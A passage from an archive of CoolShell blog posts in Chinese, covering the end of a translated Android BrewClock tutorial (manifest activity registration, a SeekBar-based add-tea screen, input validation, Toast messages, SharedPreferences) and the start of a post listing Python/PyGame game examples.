}\n}\n\n\n</pre>\n<p>通过上面的代码，我们告诉Android，当“Add Tea”被点击的时候，我们将要创建一个的Activity；在本教程中，就是AddTeaActivity。然而，不要直接创建这个类的实例，注意我们使用了Intent。Intent有着Android框架的强大特性；他们将Activity绑定在一起来组成应用程序，并允许在他们之间相互传递数据。</p>\n<p>Intent的优点甚至让你的应用程序可以使用用户安装的其他的应用程序。例如，当用户要从图库里面显示一张图片，Android自动地给显一个对话框来让用户选择应用程序来显示图片。任何注册为可以处理图片显示的应用程序都会出现在这个对话框的列表中。</p>\n<p>Intent功能强大而复杂的主体, 因此它值得你从官方的文档<a href=\"http://developer.android.com/guide/topics/intents/intents-filters.html\">official Android SDK documentation</a>中仔细研究。</p>\n<p>让我们运行我们的应用程序，以测试我们的“Add Tea”屏幕。</p>\n<p>运行你的项目，按下Menu按键，并点击 “Add Tea.”。</p>\n<p>不如你预期的，你并没有看到 “Add Tea” Activity，出现在你面前的是一个Android开发者经常看到的对话框：</p>\n<p><img src=\"../wp-content/uploads/2011/04/10_crash.jpg\"/></p>\n<p>虽然我们创建了一个Intent并告诉Android启动我们的AddTeaActivity Activity, 由于我们没有将这个Activity注册到Android系统中，我们的应用程序最终还是crash掉了。系统不知道从哪里去找到我们试图运行的Activity（应该还记得Intent可以启动安装在设备上的任何Activity吧）。让我们在应用程序的mainfest文件来注册这些Acitivity。</p>\n<p>打开应用的manifest文件，在Eclipse中的AndroidManifest.xml。通过窗口底部的“AndroidManifest.xml”选项页切换到xml视图</p>\n<p>应用程序的mainfest文件是保存你应用程序全局设置和信息的地方。你将会看见里面已经有一个.BrewClockActivity 的Activity声明，并且这个Activity在程序运行的时候启动。</p>\n<p>在&lt;application&gt;中, 增加一个 &lt;activity&gt; 节点，描述为“Add Tea”的 Activity. 使用我们早先在strings.xml声明的 add_tea_label字符串作为这个Activity的标题：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- AndroidManifest.xml --&gt;\n&lt;application …&gt;\n  …\n  &lt;activity android:name=\".AddTeaActivity\" android:label=\"@string/add_tea_label\" /&gt;\n&lt;/application&gt;\n</pre>\n<p>在你再次运行BrewClock保存这个manifest文件。这一次，当你打开菜单并点击“Add Tea,”时Android将会启动AddTeaActivity。按下back按键返回主屏幕。</p>\n<p>完成了Activity的关联，下一步我们将要开发一个增加新茶的界面！</p>\n<h3>开发茶叶编辑器界面</h3>\n<p>开发一个增加茶叶界面和上一个教程中开发的BrewClock主界面是非常相似的。首先要创建一个布局文件，然后在按照下面的讲解添加适合的XML内容。</p>\n<p>和主界面开发所有不同的是，你可以使用Android最近改进的Eclipse布局编辑器来开界面。创建一个新的XML文件来定义你的布局。从菜单File → New然后选择 “Android XML File,” 选择 “Layout”类型。并将文件命令为<em>add_tea.xml</em>。</p>\n<p><img src=\"../wp-content/uploads/2011/04/11_new_layout_xml.jpg\"/></p>\n<p>用下面的布局内容替换<em>add_tea.xml</em> 文件的内容：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- res/layouts/add_tea.xml --&gt;\n&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;LinearLayout\n  xmlns:android=\"http://schemas.android.com/apk/res/android\"\n  android:layout_width=\"fill_parent\"\n  android:layout_height=\"fill_parent\"\n  android:orientation=\"vertical\"\n  android:padding=\"10dip\"&gt;\n\n  &lt;TextView\n    android:text=\"@string/tea_name_label\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\" /&gt;\n\n  &lt;EditText\n    android:id=\"@+id/tea_name\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"/&gt;\n\n  &lt;TextView\n    android:text=\"@string/brew_time_label\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"/&gt;\n\n  &lt;SeekBar\n    android:id=\"@+id/brew_time_seekbar\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"\n    android:progress=\"2\"\n    android:max=\"9\" /&gt;\n\n  &lt;TextView\n    android:id=\"@+id/brew_time_value\"\n    android:text=\"3 m\"\n    android:textSize=\"20dip\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"\n    android:gravity=\"center_horizontal\" /&gt;\n&lt;/LinearLayout&gt;\n\n</pre>\n<p>为了这个界面上使用的字符串，我们同样也需要在<em>strings.xml</em> 中增加一些新的内容：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;resources&gt;\n  &lt;!-- … --&gt;\n  &lt;string name=\"tea_name_label\"&gt;Tea Name&lt;/string&gt;\n\n  &lt;string name=\"brew_time_label\"&gt;Brew Time&lt;/string&gt;\n&lt;/resources&gt;\n\n</pre>\n<p>在这个布局中，我们加了一个新的界面控件类型，SeekBar。这个控件可以让用户通过从左向右拖拉一个指示器thumb，非常容易的指定泡茶时间。这个值得范围从0到android:max。</p>\n<p>在这个界面中，我们使用刻度是0到9，意思是从1分钟到10分钟（泡0分钟茶等于是浪费好茶）。第一，我们需要确保AddTeaActivity能正确地加载我们的界面:</p>\n<p>在Activity的onCreate()方法中增加下面的代码用于加载和显示add_tea布局文件：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  super.onCreate(savedInstanceState);\n  setContentView(R.layout.add_tea);\n}\n\n</pre>\n<p>现在通过运行项目来测试你的应用程序，按下“Menu”按键，并点击“Add Tea”菜单。</p>\n<p><img src=\"../wp-content/uploads/2011/04/12_add_tea_interface.jpg\"/></p>\n<p>你将从“Add Tea”屏幕上看到你的新界面。你可以在文本域中输入文字和从左到右拖动SeekBar。但是由于我们没有增加相关代码，这个界面并没有实现什么具体的功能。</p>\n<p>在AddTeaActivity中增加下面这些属性，并关联到我们界面上元素：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity {\n  // …\n\n  /** Properties **/\n  protected EditText teaName;\n  protected SeekBar brewTimeSeekBar;\n  protected TextView brewTimeLabel;\n\n  // …\n\n</pre>\n<p>下一步,关联属性和你的界面：</p>\n<pre class=\"EnlighterJSRAW\">\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  // Connect interface elements to properties\n  teaName = (EditText) findViewById(R.id.tea_name);\n  brewTimeSeekBar = (SeekBar) findViewById(R.id.brew_time_seekbar);\n  brewTimeLabel = (TextView) findViewById(R.id.brew_time_value);\n}\n\n</pre>\n<p>界面非常的简单，我们只要增加相应SeekBar 改变事件的监听器。当用户从左到右移动SeekBar指示器时，我们的应用程序需要读出新值并更新SeekBar之下泡茶时间标签的内容。我们将使用一个监听器来检测SeekBar何时改变的：</p>\n<p>在AddTeaActivity类声明中增加实现 onSeekBarChangedListener接口，并添加所必要的方法：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity\nextends Activity\nimplements OnSeekBarChangeListener {\n  // …\n\n  public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n    // TODO Detect change in progress\n  }\n\n  public void onStartTrackingTouch(SeekBar seekBar) {}\n\n  public void onStopTrackingTouch(SeekBar seekBar) {}\n}\n\n</pre>\n<p>我们唯一感兴趣的事件时onProgressChanged，因此我们需要在这个方法内增加代码更新泡茶时间标签的内容为SeekBar选中的值。之前我们说过SeekBar的刻度是0到9，因此我们需要将SeekBar的加1的值来显示给用户才有意义。</p>\n<p>在<em>AddTeaActivity.java</em>代码中增加如下的onProgressChanged()代码：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n  if(seekBar == brewTimeSeekBar) {\n    // Update the brew time label with the chosen value.\n    brewTimeLabel.setText((progress + 1) + \" m\");\n  }\n}\n\n</pre>\n<p>在AddTeaActivity的onCreate方法中设置监听器：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Setup Listeners\n  brewTimeSeekBar.setOnSeekBarChangeListener(this);\n}\n\n</pre>\n<p>现在运行你的程序，并拖动SeekBar,泡茶时间标签的内容将会同步更新为正确地值：</p>\n<p><img src=\"../wp-content/uploads/2011/04/13_seekbar.jpg\"/></p>\n<h4>保存新增茶叶</h4>\n<p>完成了增加茶叶界面之后,剩下的工作就是让用户可以将他们新增的茶叶保存到数据库中.我们将会对界面上输入数据增加一点校验,以避免茶叶名为空的数据被保存到数据库中！</p>\n<p>在编辑器中打开<em>strings.xml</em> 增加一些我们在应用程序将要使用到的新标签。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;string name=\"save_tea_label\"&gt;Save Tea&lt;/string&gt;\n&lt;string name=\"invalid_tea_title\"&gt;Tea could not be saved.&lt;/string&gt;\n\n&lt;string name=\"invalid_tea_no_name\"&gt;Enter a name for your tea.&lt;/string&gt;\n\n\n</pre>\n<p>如同前面的那样，我们需要为AddTeaActivity创建一个新的选项菜单来让用户可以执行保存茶叶的指令：</p>\n<p>在<em>res/menus</em> 目录，通过选择File → New 并选 Other → Android XML 文件来创建一个新的 <em>add_tea.xml</em> XML文件, 记住资源类型为“Menu”。</p>\n<p>增加保存茶叶的菜单项：</p>\n<pre class=\"EnlighterJSRAW\">\n\n&lt;!-- res/menus/add_tea.xml --&gt;\n&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;menu xmlns:android=\"http://schemas.android.com/apk/res/android\"&gt;\n  &lt;item android:title=\"@string/save_tea_label\" android:id=\"@+id/save_tea\" /&gt;\n&lt;/menu&gt;\n\n\n</pre>\n<p>返回 AddTeaActivity 代码中,类似你在BrewClockActivity中一样，增加重载方法onCreateOptionsMenu 和onOptionsItemSelected。唯一的区别是这次你提供的MenuInflater的资源文件名是<em>add_tea.xml</em> ：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.add_tea, menu);\n\n  return true;\n}\n\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.save_tea:\n      saveTea();\n\n    default:\n      return super.onOptionsItemSelected(item);\n  }\n}\n\n</pre>\n<p>下一步, 增加新方法, saveTea(), 来保存茶叶信息。saveTea 首先从界面上读取茶叶的名称和用户所选的泡茶时间，如果这些输入数据都能通过验证，就将这些数据保存到数据库中：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic boolean saveTea() {\n  // Read values from the interface\n  String teaNameText = teaName.getText().toString();\n  int brewTimeValue = brewTimeSeekBar.getProgress() + 1;\n\n  // Validate a name has been entered for the tea\n  if(teaNameText.length() &lt; 2) {\n    AlertDialog.Builder dialog = new AlertDialog.Builder(this);\n    dialog.setTitle(R.string.invalid_tea_title);\n    dialog.setMessage(R.string.invalid_tea_no_name);\n    dialog.show();\n\n    return false;\n  }\n\n  // The tea is valid, so connect to the tea database and insert the tea\n  TeaData teaData = new TeaData(this);\n  teaData.insert(teaNameText, brewTimeValue);\n  teaData.close();\n\n  return true;\n}\n\n\n</pre>\n<p>大段的代码，让我们过一遍这段代码的逻辑。</p>\n<p>首先，我们从文本框中读取茶叶名称，从SeekBar读取泡茶时间（记着读的时间要加1以保证时间在1到10分钟之内）。下一步，我们验证茶叶名大于等于2个字符（这是非常简单的验证，如果想做更复杂的验证，那么就使用正则表达式吧）。</p>\n<p>如果茶叶名称非法，我们需要让用户知道。我们使用Android提供的工具类，AlertDialog.Biulder类，这个类给我们提供了一个快捷创建和显示模态窗口的方法。在设置完标题和错误信息后，通过调用show方法来显示对话框。这个对话框是模态的modal，因此用户只有按下back按键，这个对话框才会关闭。在这时，我们不想保存任何数据，所以我们的方法返回了false。</p>\n<p>如果茶名称合法，我们通过TeaData类创建一个到茶叶数据库的临时连接。这里又一次的显示出把数据库访问抽象成一个独立文件的好处：你可以从任何地方完成对数据库（译者注：其实应该是对TeaData 类）的访问。</p>\n<p>当调用完teaData.insert() 来增加记录到数据库后，我们不再需要数据库连接，因此在我们返回成功前，我们关闭了连接。</p>\n<p>在模拟器中运行你的程序，按下“Menu”按键，点击屏幕上的“Add Tea”。试图通过在此按下“Menu”和点击屏幕的 “Save Tea.”来保存空茶叶名的茶叶数据。由于是没有茶叶名，一条错误消息将出现在你的面前：</p>\n<p><img src=\"../wp-content/uploads/2011/04/14_invalid_tea.jpg\"/></p>\n<p>下一步，试着键入你的茶叶名，并选择合适的泡茶时间，再次从菜单选择 “Save Tea” 。这一次，你将不在看到错误的消息。事实上，你什么都看消息不到。</p>\n<h4>改进用户体验</h4>\n<p>这样做不是一个很好的用户体验，用户不能知道他的茶叶是否已经成功地保存了。事实上，用户只有从“Add Tea”界面返回，去茶叶列表中查看这一个办法来检查他的是否成功的被保存。这样的做法不好，让用户知道他们的茶叶数据被成功地保存会是更好的一种方式。在茶叶数据被成功保存后，让我们在屏幕上显示一条成功信息。</p>\n<p>我们要一条被动的非模态化的信息，因此AlertDialog这次就不能满足我们的需求了。下面我们将要使用另外一个Android的非常流行的特性，Toast。</p>\n<p>Toast 在接近屏幕的下方显示一条消息，但是并不会终止用户的操作。Toast经常用于做非重要的的提醒和状态更新。.</p>\n<p>在<em>strings.xml</em> 资源文件中新增一个字符串。注意字符串中的%s。我们在下一步中将保存的茶叶名字结合到这个字符串来显示信息。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;string name=\"save_tea_success\"&gt;%s tea has been saved.&lt;/string&gt;\n</pre>\n<p>注意，在onOptionsItemSelected 代码中进行修改，当saveTea返回真时，创建并显示一条弹出式的Toast。第二参数getString()用来连接茶叶名称到Toast信息中。最后，我们需要将茶叶名称清楚，以便用户可以快速增加更多的新茶。</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\n// …\nswitch(item.getItemId()) {\n case R.id.save_tea:\n   if(saveTea()) {\n     Toast.makeText(this, getString(R.string.save_tea_success, teaName.getText().toString()), Toast.LENGTH_SHORT).show();\n     teaName.setText(\"\");\n   }\n// …\n</pre>\n<p>现在，重新运行应用程序，并增加和保存一些新茶叶。你将会看到弹出式的Toast并让你知道你的茶叶信息已经被保存成功。getString()方法用于连接存在XML文件中的String和茶叶名称，并将%s替换成茶叶的名称。</p>\n<p><img src=\"../wp-content/uploads/2011/04/16_valid_save.jpg\"/></p>\n<p>按下“Back”按键，返回应用程序的主屏幕，点击茶叶spinner。你新增的在数据库中的茶叶已近可以显示在spinner的选项中！</p>\n<h3>用户首选项</h3>\n<p>现在BrewClock已经完成了所有的功能。用户可以增加他们喜爱的茶叶和各自不同的泡茶时间到数据库中，并且他们可以快速的从选择他们并开始泡上一杯新茶。任何新增的茶叶信息都被保存在数据库中，因此，即使你退出你的程序，这些茶叶信息在你下次启动程序时仍然可以从spinner列表中找到。</p>\n<p>当你重启BrewClock的时候，有一件事你必须注意，就是泡茶计数被清为了0。这使得跟踪我们每天喝了多少茶（一条重要的数据）变得困难。作为最后一个练习，让我们将泡茶计数保存在我们设备上。</p>\n<p>我们将不通过增加茶叶数据库的表来完成这个功能，我们将使用Android的“共享首选项Shared Preferences”，一个Android提供给你应用程序用于存储简单数据的数据库（字符串，数字，等等）。例如，优秀的最高分和用户首选项等（译者注：非常类似Windows下的注册表）。</p>\n<p>我们首先在<em>BrewClockActivity.java</em> 中增加一堆常量。这些常量用于存放你的共享首选项的名称。我们将使用键的名称来访问泡茶计数。Android负责保存和持久化我们的共享首选项文件。</p>\n<pre class=\"EnlighterJSRAW\">\n\n// src/com/example/brewclock/BrewClockActivity.java\n\nprotected static final String SHARED_PREFS_NAME = \"brew_count_preferences\";\n\nprotected static final String BREW_COUNT_SHARED_PREF = \"brew_count\";\n\n</pre>\n<p>下一步，为了我们能在用户首选项中读写泡茶计数，而不是直接的依赖于代码中的初始值，我们将在代码中做一些修改。在BrewClockActivity 的 onCreate 方法中我们将就该setBrewCount附件的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // … \n\n  // Set the initial brew values\n  SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE);\n  brewCount = sharedPreferences.getInt(BREW_COUNT_SHARED_PREF, 0);\n  setBrewCount(brewCount);\n\n  // …\n}\n\n</pre>\n<p>这里我们将以使用SharedPreference来获取应用程序的共享首选项的实例，并希望得到brew_count键值的值（通过我们之前定义的BREW_COUNT_SHARED_PREF常量来标示）。如果值能获取，这个值将返回给应用程序，如果没有我们使用getInt的第二参数作为默认值返回（在教程中为0）。</p>\n<p>现在我们取得存储的泡茶计数值，我们需要确保每当泡茶计数更新的时候，这个值能写回到共享首选项中。</p>\n<p>BrewClockActivity的setBrewCount中增加下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n public void setBrewCount(int count) {\n   brewCount = count;\n   brewCountLabel.setText(String.valueOf(brewCount));\n\n   // Update the brewCount and write the value to the shared preferences.\n   SharedPreferences.Editor editor = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE).edit();\n   editor.putInt(BREW_COUNT_SHARED_PREF, brewCount);\n   editor.commit();\n }\n\n\n</pre>\n<p>共享首选项不能直接地保存。我们需要使用Android的SharedPreferences.Editor类。调用SharedPreferences的edit方法，返回一个editor实例，这个实例用来保存我们的首选项值。我们只要调用editor实例的commit方法就可以将值保存到共享首选项中。</p>\n<p>我们应用程序的所有代码都已完成，现在让我们测试一下我们的程序！</p>\n<p>在模拟器中运行应用程序，定一个泡茶时间（这真是一个良好的借口去泡一杯你自己爱喝的茶哦）并退出应用程序，试着运行模拟器上的安装的其他应用程序确保BrewClock被终止。记住，除非这个应用程序已经不在内存中，否则Android不会终止一个Activity。</p>\n<p>当你下一次运行你的应用程序时，你将看见之前的泡茶计数已经被维护了。</p>\n<h3>总结</h3>\n<p>恭喜!你已经完成了这个应用的程序的所有开发工作,并使用了Android　SDK中的数个核心组件。在本教程中，你从中学到了：</p>\n<ul>\n<li>创建一个简单的SQLite数据库，并保存你的数据；</li>\n<li>使用Android的数据库类和编写客户化类抽象数据访问；</li>\n<li>在你的应用程序中增加选项菜单。；</li>\n<li>在你应用程序中创建并注册新Activity并使用Intent将他们绑定成一组界面；</li>\n<li>使用内建的“共享首选项”数据库来保存和提取简单用户数据。</li>\n</ul>\n<p>无论你要开发神马样类型的应用程序，数据存储和持久化是一个重要的主题。从工具程序和业务工具到3-D游戏，几乎每个应用程序都需要使用到Android提供的数据工具类。</p>\n<p><img src=\"../wp-content/uploads/2011/04/17_brew_up.jpg\"/></p>\n<h4>Activities</h4>\n<p>虽然BrewClock现在在某方面来说已经是个功能完善的应用程序了。但是我们仍然可以在增加一些功能以改进用户体验。例如你可以使用下面的方法来改进你的应用程序：</p>\n<ul>\n<li>在保存茶叶的时候检查是否存在茶叶名称重名；</li>\n<li>增加一个菜单选项以将泡茶统计清0；</li>\n<li>在共享首选项中保存最后所选的泡茶名称和时间以便程序重启时有一个有意义的默认值；</li>\n<li>增加用户从茶叶数据库中删除记录的选项。</li>\n</ul>\n<p>在<a href=\"http://github.com/cblunt/BrewClock\">GitHub库</a> 可以获取到所有的源代码，库中的未来的分支包含着Activitiy的解决方案 你可以通过切换你的本地代码拷贝到tutorial_2分支，下载这个开发教程源代码：<br/>\n[code]</p>\n<p>$ git clone git://github.com/cblunt/BrewClock.git</p>\n<p>$ cd BrewClock</p>\n<p>$ git checkout tutorial_2</p>\n<p>[/code]<br/>\n我希望你喜欢这个教程，希望这个教程能帮助你设计和开发更棒的Android应用程序。请通过在下面的回复让我知道你的建议和意见，当然我也欢迎你将你建议写在email中并发送给我。</p>\n<p><em>感谢<a href=\"http://blog.anselmbradford.com/\">Anselm</a>的建议和反馈！ </em></p>\n<p><em>（全文完）</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4270.html\"><img alt=\"Eclipse开发Android应用程序入门\" height=\"150\" src=\"../wp-content/uploads/2011/04/install-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-5-18 Python 和 PyGame 的一些示例.html",
    "content": "<html><body><p>看到<a href=\"http://cs.simpson.edu/?q=python_pygame_examples\" target=\"_blank\">一个网页</a>收集了很多使用Python和PyGame写游戏的示例，分享给大家。（注：我不知道用Python/PyGame写游戏其性能会怎么样，但是一些小游戏应该是没有问题的）</p>\n<p>这个网页同时给了一本<a href=\"http://cs.simpson.edu/files/CS_Intro_Book.pdf\" target=\"_blank\">介绍Python和PyGame的电子书</a>（PDF），下面的这些例子就是这本书的示例。所有的这些示例可以<a href=\"http://cs.simpson.edu/files/Python%20Examples.zip\" target=\"_blank\">打包下载</a>。</p>\n<h4>基础 Python 示例</h4>\n<ul>\n<li><a href=\"http://cs.simpson.edu/?q=if_statement_examples.py\">if_statement_examples.py</a> – if 语句的一个简单示例</li>\n<li><a href=\"http://cs.simpson.edu/?q=for_loops_examples.py\">for_loop_examples.py</a> – for 语句的一个简单示例.</li>\n<li><a href=\"http://cs.simpson.edu/?q=while_loop_examples.py\">while_loop_examples.py</a> – while 语句的一个简单示例</li>\n</ul>\n<h4>Pygame 图形示例</h4>\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=pygame_base_template.py\">pygame_base_template.py</a> – 开启一个黑的 pygame 窗口。当你要写一个新的代码时，你可以使用这个示例的代码初始化你的程序。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/pygame_base_template.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/pygame_base_template_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=simple_graphics_demo.py\">simple_graphics_demo.py</a> – 作图，画一些简单的图形。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo.png\"><img alt=\"simple_graphics_demo_thumb.png\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo_thumb.png\"/></a></td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-4710\"></span></p>\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=functions_and_graphics.py\">functions_and_graphics.py</a> – 图一些雪人。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/functions_and_graphics.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/functions_and_graphics_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=animating_snow.py\">animating_snow.py</a> – 下雪动画。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/animating_snow.png\"><img alt=\"Animating Snow\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/animating_snow_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_keyboard.py\">move_keyboard.py</a> – 使用键盘移动一个图形\n<p><a href=\"http://cs.simpson.edu/?q=move_mouse.py\">move_mouse.py</a> – 使用鼠标移动一个图形</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_game_controller.py\">move_game_controller.py</a> – 使用游戏手柄移动一个图形</p></td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_keyboard.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_keyboard_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=bitmapped_graphics.py\">bitmapped_graphics.py</a> – 显示一些图片（png, jpb），并加入一些声音。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/bitmapped_graphics.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/bitmapped_graphics_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=array_backed_grid.py\">array_backed_grid.py</a> – 一个网格，可以用来开发一些棋类的游戏。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/array_backed_grid.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/array_backed_grid_thumb.png\"/></a></td>\n</tr>\n</tbody>\n</table>\n<h4>Pygame 示例</h4>\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_blocks.py\">sprite_collect_blocks.py</a> – 使用鼠标移动一个小点</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_blocks.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_blocks_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_circle.py\">sprite_collect_circle.py</a> – 和上面的示例一样，只不过是圆点。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_circle.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_circle_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_graphic.py\">sprite_collect_graphic.py</a> – 和上面的示例一样，只不过是图片。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_graphic.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_graphic_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_sprite_mouse.py\">move_sprite_mouse.py</a> – 用鼠标移动一个点\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_keyboard_jump.py\">move_sprite_keyboard_jump.py</a> – 用键盘移动一个点（跳动式的）</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_keyboard_smooth.py\">move_sprite_keyboard_smooth.py</a> – 用键盘移动一个点（平滑式的）.</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_game_controller.py\">move_sprite_game_controller.py</a> – 用游戏手柄移动一个点</p></td>\n<td><a 